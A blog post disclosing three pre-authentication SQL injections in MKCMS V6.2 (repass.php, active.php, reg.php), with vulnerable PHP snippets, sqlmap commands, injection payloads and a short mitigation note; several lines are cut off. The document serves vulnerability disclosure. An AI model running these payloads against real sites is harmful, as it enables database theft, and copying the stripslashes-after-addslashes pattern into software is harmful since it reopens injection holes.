MKCMS V6.2 has mutilple vulnerabilities

四月 11, 2020

共享

标签

CVE

0x00:Lead In

> Source code can be downloaded at https://www.lanzous.com/ib7zwmh

This CMS is kinda funny, coz there is a universal filter `addslashes` in `/system/library.php`

```
/system/library.php
<?php
...
if (!get_magic_quotes_gpc()) {
    if (!empty($_GET)) {
        $_GET = addslashes_deep($_GET);
    }
    if (!empty($_POST)) {
        $_POST = addslashes_deep($_POST);
    }
    $_COOKIE = addslashes_deep($_COOKIE);
    $_REQUEST = addslashes_deep($_REQUEST);
}
function addslashes_deep($_var_0)
{
    if (empty($_var_0)) {
        return $_var_0;
    } else {
        return is_array($_var_0) ? array_map('addslashes_deep
    }_var_0
}
```

While it uses `stripslashes` somewhere by mistake, let's do a global search about it, we get **3 SQL injections**

image.png

0x01:PreAuth SQL injection in /ucenter/repass.php

MKCMS V6.2 has SQL injection via the /ucenter/repass.php *name* parameter.

```
/ucenter/repass.php
<?php
...
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$email = trim($_POST['email']);
// 检测用户名是否存在
$query = mysql_query("select u_id from mkcms_user where u_name
  ...
```

and it can be automated exploited by sqlmap namely

```
sqlmap -u http://localhost/ucenter/repass.php  --data "name=1

Parameter: name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=11' AND (SELECT 7672 FROM (SELECT(SLEEP(5))
```

And this can be tracked in 2019 via https://xz.aliyun.com/t/4189#toc-1 by CoolCat, so CVE request of this vuln won't belong to me, I just wanna enrich the CVE database.

0x02:PreAuth SQL injection in /ucenter/active.php

MKCMS V6.2 has SQL injection via the /ucenter/active.php *verify* parameter.

```
/ucenter/active.php
<?php
...
$verify = stripslashes(trim($_GET['verify']));  //去掉了转义用的
$nowtime = time();
$query = mysql_query("select u_id from mkcms_user where u_ques
$row = mysql_fetch_array($query);
...
```

Likewise, attackers can exploit it via sqlmap by typing

```
sqlmap -u http://localhost/ucenter/active.php?verify=1

Parameter: verify (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: verify=1' AND (SELECT 5656 FROM (SELECT(SLEEP(5))
```

```
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: verify=1' UNION ALL SELECT CONCAT(0x7171786b71,0x
```

0x03:PreAuth SQL injection in /ucenter/reg.php

MKCMS V6.2 has SQL injection via the /ucenter/reg.php *name* parameter.h

```
/ucenter/reg.php
<?php
...
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from mkcms_user where u_name
  ...
```

Again, sqlmap can be used to automate the exploitation

```
sqlmap -u http://localhost/ucenter/reg.php  --data "name=1&sub



Parameter: name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: name=1' AND 2487=2487 AND 'WOhs'='WOhs&submit=1@1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=1' AND (SELECT 6840 FROM (SELECT(SLEEP(5)))i
```

0x04:Mitigation

remove the `stripslashes()` before the POST/GET param, thus we can't exploit it unless the coding of MYSQL is GBK/GB2312, i.e.*wide byte sql injection.*
(In my opinion, is there any need to escape the name? it has never been allowed at all !

标签： CVE

共享

评论

要发表评论，请点击下方按钮以使用 Google 帐号登录。

此博客中的热门博文

Thinksaas has a Post-Auth SQL injection vulnerability in

app/topic/action/admin/topic.php

十二月 03, 2020

1. Intro of this CMS The repo of ThinksaasS is located at https://github.com/thinksaas/ThinkSAAS , quite a common-used CMS. Source code of v3.38 could be downloaded at https://www.thinksaas.cn/service/down/ , while passcode c ...

共享 4 条评论 阅读全文

lykops has multiple vulnerabilities

二月 06, 2021

corresponding 0x00 intro - github repo： https://github.com/lykops/lykops - 121 stars and 65 forks til 2021/2/6 0x01 Post-Auth OS-command injection lykops/library/utils/file.py#248 -> upload_file() we got ...

共享 1 条评论 阅读全文